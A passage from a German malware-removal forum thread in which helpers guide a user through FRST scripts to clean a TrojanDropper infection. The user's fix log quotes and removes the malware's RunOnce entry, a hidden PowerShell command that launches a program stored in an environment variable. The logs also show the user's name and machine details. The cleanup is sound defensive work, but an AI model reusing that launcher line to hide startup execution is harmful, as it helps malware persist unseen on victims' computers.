/// Winkelfunktion /// TB-Süch-Tiger™ | Windows 10 / TrojanDropper:Win64/Tnega!MSR zweiter Versuch Scripting/Repair mit FRST64 WARNUNG AN ALLE MITLESER !!! Dieses FRST-Script ist ausschließlich für diesen Nutzer gedacht und sollte niemals 1:1 für ein anderes System angewendet werden!
__________________ --> Windows 10 / TrojanDropper:Win64/Tnega!MSR zweiter Versuch |
10.02.2021, 08:51 | #7 |
| Windows 10 / TrojanDropper:Win64/Tnega!MSR zweiter Versuch Hier: Code:
ATTFilter Entfernungsergebnis von Farbar Recovery Scan Tool (x64) Version: 08-02-2021 01 durchgeführt von jessi (10-02-2021 08:45:33) Run:1 Gestartet von C:\Users\jessi\Downloads Geladene Profile: jessi Start-Modus: Normal ============================================== fixlist Inhalt: ***************** CloseProcesses: HKLM-x32\...\Run: [] => [X] HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\RunOnce: [jessi] => powershell -Win Hi -Command "$r = [Environment]::GetEnvironmentVariable('jessi', 'User').split();$p=$r[0];$r[0]='';Start-Process $p -ArgumentList ($r -join ' ') -Win Hi" <==== ACHTUNG DeleteKey: HKCU\Software\jessi DeleteKey: HKCU\Software\jessi1 DeleteValue: HKCU\Environment|jessi DeleteValue: HKCU\Environment|jessi1 cmd: reg query "HKCU\Environment" cmd: reg query "HKCU\Software" cmd: netsh advfirewall reset emptytemp: ***************** Prozesse erfolgreich geschlossen. "HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\\" => erfolgreich entfernt "HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\Software\Microsoft\Windows\CurrentVersion\RunOnce\\jessi" => erfolgreich entfernt HKCU\Software\jessi => erfolgreich entfernt HKCU\Software\jessi1 => erfolgreich entfernt "HKCU\Environment\\jessi" => erfolgreich entfernt "HKCU\Environment\\jessi1" => nicht gefunden ========= reg query "HKCU\Environment" ========= HKEY_CURRENT_USER\Environment Path REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Microsoft\WindowsApps; TEMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp TMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp OneDrive REG_EXPAND_SZ C:\Users\jessi\OneDrive OneDriveConsumer REG_EXPAND_SZ C:\Users\jessi\OneDrive ========= Ende von CMD: ========= ========= reg query "HKCU\Software" ========= HKEY_CURRENT_USER\Software\Adobe HKEY_CURRENT_USER\Software\AppDataLow HKEY_CURRENT_USER\Software\BANDISOFT HKEY_CURRENT_USER\Software\Caphyon HKEY_CURRENT_USER\Software\Chromium HKEY_CURRENT_USER\Software\Clients HKEY_CURRENT_USER\Software\DeepL HKEY_CURRENT_USER\Software\Epic Games HKEY_CURRENT_USER\Software\Franz Faul, Uni Kiel, Germany HKEY_CURRENT_USER\Software\Google HKEY_CURRENT_USER\Software\GREYC HKEY_CURRENT_USER\Software\Hewlett-Packard HKEY_CURRENT_USER\Software\HP HKEY_CURRENT_USER\Software\IM Providers HKEY_CURRENT_USER\Software\Intel HKEY_CURRENT_USER\Software\JASP HKEY_CURRENT_USER\Software\Khronos HKEY_CURRENT_USER\Software\klnpsval HKEY_CURRENT_USER\Software\Macromedia HKEY_CURRENT_USER\Software\Microsoft HKEY_CURRENT_USER\Software\Mozilla HKEY_CURRENT_USER\Software\MozillaPlugins HKEY_CURRENT_USER\Software\MyASUS Update Messenger HKEY_CURRENT_USER\Software\Netscape HKEY_CURRENT_USER\Software\OCS HKEY_CURRENT_USER\Software\ODBC HKEY_CURRENT_USER\Software\Perfect World Platform Client HKEY_CURRENT_USER\Software\Policies HKEY_CURRENT_USER\Software\QtProject HKEY_CURRENT_USER\Software\Realtek HKEY_CURRENT_USER\Software\RegisteredApplications HKEY_CURRENT_USER\Software\Respondus HKEY_CURRENT_USER\Software\Spotify HKEY_CURRENT_USER\Software\Swiss Academic Software HKEY_CURRENT_USER\Software\SyncEngines HKEY_CURRENT_USER\Software\TelegramDesktop HKEY_CURRENT_USER\Software\Trion HKEY_CURRENT_USER\Software\Visan HKEY_CURRENT_USER\Software\Vivaldi HKEY_CURRENT_USER\Software\WebEx HKEY_CURRENT_USER\Software\Wow6432Node HKEY_CURRENT_USER\Software\ZoomUMX HKEY_CURRENT_USER\Software\Classes ========= Ende von CMD: ========= ========= netsh advfirewall reset ========= OK. ========= Ende von CMD: ========= =========== EmptyTemp: ========== BITS transfer queue => 10772480 B DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 711527668 B Java, Flash, Steam htmlcache => 1468 B Windows/system/drivers => 8315729 B Edge => 38008 B Chrome => 1037926410 B Vivaldi => 437334962 B Firefox => 75493820 B Opera => 0 B Temp, IE cache, history, cookies, recent: Default => 0 B Users => 0 B ProgramData => 0 B Public => 0 B systemprofile => 0 B systemprofile32 => 0 B LocalService => 30792 B NetworkService => 209566 B jessi => 311809864 B RecycleBin => 2931148653 B EmptyTemp: => 5.1 GB temporäre Dateien entfernt. ================================ Das System musste neu gestartet werden. ==== Ende von Fixlog 08:48:47 ==== |
10.02.2021, 09:52 | #8 |
/// Winkelfunktion /// TB-Süch-Tiger™ | Windows 10 / TrojanDropper:Win64/Tnega!MSR zweiter Versuch Ich denke wir haben alles erwischt. Zur Kontrolle neue FRST-Logs.
__________________ Logfiles bitte immer in CODE-Tags posten |
10.02.2021, 10:26 | #9 | |
/// TB-Ausbilder | Windows 10 / TrojanDropper:Win64/Tnega!MSR zweiter VersuchZitat:
Wie cosinus schon sagte, hatten wir die letzten Tage ein paar "Spezialisten" hier... zudem geht es bei uns zu Hause "drunter und drüber". |
10.02.2021, 12:06 | #10 |
| Windows 10 / TrojanDropper:Win64/Tnega!MSR zweiter Versuch Dann hoffentlich hier die letzten Logdateien: FRST: Code:
ATTFilter Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 08-02-2021 01 durchgeführt von jessi (Administrator) auf DESKTOP-3CDKKUQ (ASUSTeK COMPUTER INC. VivoBook_ASUSLaptop TP412FA_TP412FA) (10-02-2021 11:51:33) Gestartet von C:\Users\jessi\Downloads Geladene Profile: jessi Platform: Windows 10 Home Version 1909 18363.1316 (X64) Sprache: Deutsch (Deutschland) Standard-Browser: Vivaldi Start-Modus: Normal ==================== Prozesse (Nicht auf der Ausnahmeliste) ================= (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.) (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSLinkRemote\AsusLinkRemote.exe (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSoftwareManager\AsusSoftwareManagerAgent.exe (ASUSTek Computer Inc. -> ASUSTek Computer Inc.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSLinkNear\AsusLinkNear.exe (ASUSTek Computer Inc. -> ASUSTek Computer Inc.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSLinkNear\AsusLinkNearExt.exe (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSOptimization\AsusOptimization.exe (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSOptimization\AsusOptimizationStartupTask.exe (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSOptimization\AsusOSD.exe (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSoftwareManager\AsusSoftwareManager.exe (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSystemAnalysis\AsusSystemAnalysis.exe (ELAN Microelectronics Corporation -> ELAN Microelectronics Corp.) C:\Windows\System32\ELANFPService.exe (Hewlett Packard -> Hewlett-Packard Co.) C:\Program Files\HP\HP Deskjet 3520 series\Bin\HPNetworkCommunicator.exe (Hewlett Packard -> Hewlett-Packard Co.) C:\Program Files\HP\HP Deskjet 3520 series\Bin\ScanToPCActivationApp.exe (Hewlett-Packard Company -> Hewlett-Packard) C:\Program Files (x86)\HP\HP Software Update\hpwuschd2.exe (ICEpower a/s -> ICEpower A/S) C:\Windows\System32\DriverStore\FileRepository\icesoundapo64.inf_amd64_0b0a16910a811637\ICEsoundService64.exe (INTEL CORP) C:\Program Files\WindowsApps\AppUp.IntelGraphicsExperience_1.100.3282.0_x64__8j3eq9eme6ctt\GCP.ML.BackgroundSysTray\IGCCTray.exe (INTEL CORP) C:\Program Files\WindowsApps\AppUp.IntelGraphicsExperience_1.100.3282.0_x64__8j3eq9eme6ctt\IGCC.exe (Intel Corporation -> Intel Corporation) C:\Windows\System32\Intel\DPTF\esif_uf.exe (Intel(R) Embedded Subsystems and IP Blocks Group -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\dal.inf_amd64_ffc75848a6342fdf\jhi_service.exe (Intel(R) pGFX 2020 -> ) C:\Windows\System32\DriverStore\FileRepository\igcc_dch.inf_amd64_5b19dfe7970a7139\OneApp.IGCC.WinService.exe (Intel(R) pGFX 2020 -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\cui_dch.inf_amd64_cb5b3ac4d6a4f65a\igfxCUIService.exe (Intel(R) pGFX 2020 -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\cui_dch.inf_amd64_cb5b3ac4d6a4f65a\igfxEM.exe (Intel(R) pGFX 2020 -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\iigd_dch.inf_amd64_504a966d4dd1fcbb\IntelCpHDCPSvc.exe (Intel(R) pGFX 2020 -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\iigd_dch.inf_amd64_504a966d4dd1fcbb\IntelCpHeciSvc.exe (Intel(R) Wireless Connectivity Solutions -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\piecomponent.inf_amd64_7fd3c1076ca83746\Intel_PIE_Service.exe (Intel(R) Wireless Connectivity Solutions -> Intel Corporation) C:\Windows\System32\ibtsiva.exe (Microsoft Corporation -> Microsoft Corporation) C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe (Microsoft Corporation -> Microsoft Corporation) C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE (Microsoft Corporation) C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.2012.21.0_x64__8wekyb3d8bbwe\Calculator.exe (Microsoft Windows -> Microsoft Corporation) C:\Windows\ImmersiveControlPanel\SystemSettings.exe (Microsoft Windows -> Microsoft Corporation) C:\Windows\splwow64.exe (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\dllhost.exe <3> (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\smartscreen.exe (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\wlanext.exe (Microsoft Windows Hardware Compatibility Publisher -> ASUSTek COMPUTER INC.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSystemDiagnosis\AsusSystemDiagnosis.exe (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2011.6-0\MsMpEng.exe (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2011.6-0\NisSrv.exe (Realtek Semiconductor Corp. -> Realtek Semiconductor) C:\Windows\System32\RtkAudUService64.exe <2> (Smart Sound Technology -> Intel) C:\Windows\System32\cAVS\Intel(R) Audio Service\IntelAudioService.exe (Vivaldi Technologies AS -> Vivaldi Technologies AS) C:\Users\jessi\AppData\Local\Vivaldi\Application\update_notifier.exe (Vivaldi Technologies AS -> Vivaldi Technologies AS) C:\Users\jessi\AppData\Local\Vivaldi\Application\vivaldi.exe <7> ==================== Registry (Nicht auf der Ausnahmeliste) =================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.) HKLM-x32\...\Run: [TeamsMachineInstaller] => C:\Program Files (x86)\Teams Installer\Teams.exe [97703592 2020-02-13] (Microsoft Corporation -> Microsoft Corporation) HKLM-x32\...\Run: [HP Software Update] => C:\Program Files (x86)\Hp\HP Software Update\HPWuSchd2.exe [96056 2013-05-30] (Hewlett-Packard Company -> Hewlett-Packard) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Run: [Spotify] => C:\Users\jessi\AppData\Roaming\Spotify\Spotify.exe [23722056 2021-02-08] (Spotify AB -> Spotify Ltd) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Run: [com.squirrel.Teams.Teams] => C:\Users\jessi\AppData\Local\Microsoft\Teams\Update.exe [2350776 2020-06-12] (Microsoft 3rd Party Application Component -> Microsoft Corporation) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Run: [CiscoMeetingDaemon] => C:\Users\jessi\AppData\Local\WebEx\ciscowebexstart.exe [2427592 2021-01-29] (Cisco WebEx LLC -> Cisco Webex LLC) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Run: [DeepL] => C:\Users\jessi\AppData\Local\DeepL\app-1.17.1\DeepL.exe [207984 2021-01-04] (DeepL GmbH -> DeepL GmbH) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Run: [Lync] => C:\Program Files\Microsoft Office\root\Office16\lync.exe [26329408 2021-01-18] (Microsoft Corporation -> Microsoft Corporation) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Run: [Skype for Desktop] => C:\Program Files (x86)\Microsoft\Skype for Desktop\Skype.exe [90952568 2020-10-29] (Skype Software Sarl -> Skype Technologies S.A.) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Run: [Vivaldi Update Notifier] => C:\Users\jessi\AppData\Local\Vivaldi\Application\update_notifier.exe [1926896 2020-12-11] (Vivaldi Technologies AS -> Vivaldi Technologies AS) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Run: [HP Deskjet 3520 series (NET)] => C:\Program Files\HP\HP Deskjet 3520 series\Bin\ScanToPCActivationApp.exe [2573416 2012-10-17] (Hewlett Packard -> Hewlett-Packard Co.) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\RunOnce: [Application Restart #0] => C:\Program Files\Common Files\microsoft shared\ink\InputPersonalization.exe [373248 2021-01-15] (Microsoft Windows -> Microsoft Corporation) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Policies\Explorer: [NoChangeStartMenu] 0 HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Policies\Explorer: [NoLogOff] 0 HKLM\...\Print\Monitors\HP B011 Status Monitor: C:\Windows\system32\hpinkstsB011LM.dll [331664 2012-06-13] (Hewlett Packard -> Hewlett-Packard Co.) HKLM\...\Print\Monitors\HP Discovery Port Monitor (HP Deskjet 3520 series): C:\Windows\system32\HPDiscoPMB011.dll [741480 2012-10-17] (Hewlett Packard -> Hewlett-Packard Co.) ==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) ============ (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.) Task: {0387E036-67B7-4321-A777-9B6E2F4B30E7} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentLogOn2016 => C:\Program Files\Microsoft Office\root\Office16\msoia.exe [5057960 2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Task: {20EACC42-671D-4492-AD54-A095FDEC799F} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance => C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MpCmdRun.exe [545704 2020-12-04] (Microsoft Windows Publisher -> Microsoft Corporation) Task: {2A36D799-3EDA-45ED-966E-FB7C017011A3} - System32\Tasks\Microsoft\Windows\PLA\AsusLinkNear => {FF679DA1-8FF2-4474-9C9E-52BBD409B557} C:\Windows\system32\pla.dll [1507328 2020-05-14] (Microsoft Windows -> Microsoft Corporation) Task: {3B7CF29F-D02C-4CCE-A157-B2E29B4E9972} - System32\Tasks\Microsoft\Office\Office Subscription Maintenance => C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonx64\Microsoft Shared\Office16\OLicenseHeartbeat.exe [1683352 2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Task: {6E97E029-8B30-4AEF-9132-99979DC16F54} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan => C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MpCmdRun.exe [545704 2020-12-04] (Microsoft Windows Publisher -> Microsoft Corporation) Task: {76834983-71F1-47DA-A3D1-59B8C8C4EB22} - System32\Tasks\ASUS Optimization 36D18D69AFC3 => C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSOptimization\AsusHotkeyExec.exe [226232 2020-12-09] (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) Task: {7CA82A1A-3CB4-4B39-A669-C6DED839F7EF} - System32\Tasks\Microsoft\Office\Office ClickToRun Service Monitor => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [22763912 2021-01-10] (Microsoft Corporation -> Microsoft Corporation) Task: {825CCD1A-3FFE-4B80-B9E4-03AF13023C09} - System32\Tasks\ASUS Update Checker 2.0 => C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSoftwareManager\AsusUpdateChecker.exe [693192 2020-12-09] (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) Task: {8366A82B-40E5-43BB-BC92-1CA7519A293B} - System32\Tasks\Microsoft\Windows\PLA\074C0539-0999-4DA9-9D0D-3D016B62F4E9 => {FF679DA1-8FF2-4474-9C9E-52BBD409B557} C:\Windows\system32\pla.dll [1507328 2020-05-14] (Microsoft Windows -> Microsoft Corporation) Task: {916EFA5B-ED44-4A1D-AD33-3B43899072E6} - System32\Tasks\Microsoft\Office\Office Automatic Updates 2.0 => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [22763912 2021-01-10] (Microsoft Corporation -> Microsoft Corporation) Task: {9F60BA04-2A3C-472D-AC46-98D746087ADF} - System32\Tasks\RtkAudUService64_BG => C:\Windows\System32\RtkAudUService64.exe [874000 2019-05-02] (Realtek Semiconductor Corp. -> Realtek Semiconductor) Task: {A5C2D8A0-523A-4C0F-AFE9-E35431770F07} - System32\Tasks\AsusSystemAnalysis_754F3273-0563-4F20-B12F-826510B07474 => C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSystemAnalysis\AsusSystemAnalysis.exe [2166712 2020-12-09] (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) Task: {AD9C3170-7633-41D5-8907-89FF15231647} - System32\Tasks\Microsoft\Office\Office Feature Updates => C:\Program Files\Microsoft Office\root\Office16\sdxhelper.exe [145768 2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Task: {BD9964E2-7450-461E-A315-772782DDAC44} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentFallBack2016 => C:\Program Files\Microsoft Office\root\Office16\msoia.exe [5057960 2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Task: {D6C4A7C8-D6A6-4133-8049-DBB114E75AF4} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cleanup => C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MpCmdRun.exe [545704 2020-12-04] (Microsoft Windows Publisher -> Microsoft Corporation) Task: {DC4A17CF-FFFA-418C-9475-ABA76593EBF7} - System32\Tasks\Mozilla\Firefox Default Browser Agent 308046B0AF4A39CB => C:\Program Files\Mozilla Firefox\default-browser-agent.exe [693456 2020-12-17] (Mozilla Corporation -> Mozilla Foundation) Task: {E71FE5DE-681A-4115-B63B-03CF67C9273A} - System32\Tasks\Microsoft\Office\Office Feature Updates Logon => C:\Program Files\Microsoft Office\root\Office16\sdxhelper.exe [145768 2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Task: {F5CF6DFC-6FBB-45C5-A79A-D6E155F2C4AC} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Verification => C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MpCmdRun.exe [545704 2020-12-04] (Microsoft Windows Publisher -> Microsoft Corporation) (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.) ==================== Internet (Nicht auf der Ausnahmeliste) ==================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.) Tcpip\Parameters: [DhcpNameServer] 192.168.178.1 Tcpip\..\Interfaces\{36fa512b-0e80-47ee-8bf3-671d32f88265}: [DhcpNameServer] 192.168.178.1 Edge: ======= Edge DefaultProfile: Default Edge Profile: C:\Users\jessi\AppData\Local\Microsoft\Edge\User Data\Default [2021-02-10] Edge Extension: (Citavi Picker) - C:\Users\jessi\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\mielbhbkcliienpdicphhecpodcaeefg [2021-01-30] Edge HKLM-x32\...\Edge\Extension: [mielbhbkcliienpdicphhecpodcaeefg] FireFox: ======== FF DefaultProfile: 9p04y50u.default FF ProfilePath: C:\Users\jessi\AppData\Roaming\Mozilla\Firefox\Profiles\9p04y50u.default [2021-02-10] FF ProfilePath: C:\Users\jessi\AppData\Roaming\Mozilla\Firefox\Profiles\20m5regx.default-release [2021-02-10] FF Plugin: @microsoft.com/SharePoint,version=14.0 -> C:\Program Files\Microsoft Office\root\Office16\NPSPWRAP.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) FF Plugin-x32: @microsoft.com/Lync,version=15.0 -> C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Mozilla Firefox\plugins\npmeetingjoinpluginoc.dll [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\NPSPWRAP.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Chrome: ======= CHR Profile: C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default [2021-02-10] CHR NewTab: Default -> Not-active:"chrome-extension://eedlgdlajadkbbjoobobefphmfkcchfk/newtab.html" CHR DefaultSearchURL: Default -> hxxps://www.ecosia.org/search?q={searchTerms}&addon=chrome&addonversion=3.3.0&method=topbar CHR DefaultSearchKeyword: Default -> ecosia CHR DefaultSuggestURL: Default -> hxxps://ac.ecosia.org/?q={searchTerms}&type=list&mkt=de CHR Extension: (Präsentationen) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2020-05-08] CHR Extension: (Docs) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2020-05-08] CHR Extension: (Google Drive) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2020-10-24] CHR Extension: (YouTube) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2020-05-08] CHR Extension: (Laser Cat) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\ccnpdidcjgcdgaopacccfghmgdlipnoc [2020-12-31] CHR Extension: (Adblock Plus - kostenloser Adblocker) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\cfhdojbkjhnklbpkdaibdccddilifddb [2021-01-29] CHR Extension: (uBlock Origin) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\cjpalhdlnbpafiamejdnhcphjbkeiagm [2021-02-08] CHR Extension: (Ecosia Search) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\eedlgdlajadkbbjoobobefphmfkcchfk [2020-10-16] CHR Extension: (Tabellen) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2020-05-08] CHR Extension: (The Trumpweb) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\fjkehfaokpmcbigmbgdhmjblecgfkedg [2020-10-12] CHR Extension: (Deaktivierungs-Add-on von Google Analytics) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\fllaojicojecljbmefodhfapmkghcbnh [2020-05-17] CHR Extension: (Google Docs Offline) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2020-11-18] CHR Extension: (AdBlock*– der beste Ad-Blocker) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\gighmmpiobklfepjocnamgkkbiglidom [2021-01-15] CHR Extension: (Chrome Web Store-Zahlungen) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2021-01-29] CHR Extension: (Google Mail) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2020-10-22] CHR Extension: (Chrome Media Router) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2021-01-20] CHR Profile: C:\Users\jessi\AppData\Local\Google\Chrome\User Data\System Profile [2021-02-10] Vivaldi: ======= VIV Profile: C:\Users\jessi\AppData\Local\Vivaldi\User Data\Default [2021-02-10] VIV HomePage: Default -> vivaldi://startpage ==================== Dienste (Nicht auf der Ausnahmeliste) =================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.) R2 ASUSLinkNear; C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSLinkNear\AsusLinkNear.exe [1085880 2020-12-09] (ASUSTek Computer Inc. -> ASUSTek Computer Inc.) R2 ASUSLinkNearExt; C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSLinkNear\AsusLinkNearExt.exe [142280 2020-12-09] (ASUSTek Computer Inc. -> ASUSTek Computer Inc.) R2 ASUSLinkRemote; C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSLinkRemote\AsusLinkRemote.exe [790968 2020-12-09] (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) R2 ASUSOptimization; C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSOptimization\AsusOptimization.exe [311224 2020-12-09] (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) R2 ASUSSoftwareManager; C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSoftwareManager\AsusSoftwareManager.exe [797128 2020-12-09] (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) R2 ASUSSystemAnalysis; C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSystemAnalysis\AsusSystemAnalysis.exe [2166712 2020-12-09] (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) R2 ASUSSystemDiagnosis; C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSystemDiagnosis\AsusSystemDiagnosis.exe [600488 2020-12-09] (Microsoft Windows Hardware Compatibility Publisher -> ASUSTek COMPUTER INC.) R2 ClickToRunSvc; C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe [8854920 2021-01-10] (Microsoft Corporation -> Microsoft Corporation) R3 WdNisSvc; C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\NisSrv.exe [2491880 2020-12-04] (Microsoft Windows Publisher -> Microsoft Corporation) R2 WinDefend; C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MsMpEng.exe [128376 2020-12-04] (Microsoft Windows Publisher -> Microsoft Corporation) ===================== Treiber (Nicht auf der Ausnahmeliste) =================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.) S3 aftap0901; C:\Windows\System32\drivers\aftap0901.sys [48624 2017-11-16] (AnchorFree Inc -> The OpenVPN Project) S3 AppleLowerFilter; C:\Windows\System32\drivers\AppleLowerFilter.sys [35560 2018-05-10] (WDKTestCert build,131474841775766162 -> Apple Inc.) R3 AsusPTPDrv; C:\Windows\System32\drivers\AsusPTPFilter.sys [112336 2019-10-02] (ASUSTek Computer Inc. -> ASUSTek COMPUTER INC.) R1 ASUSSAIO; C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSystemAnalysis\ASUSSAIO.sys [36792 2020-12-09] (ASUSTek Computer Inc. -> 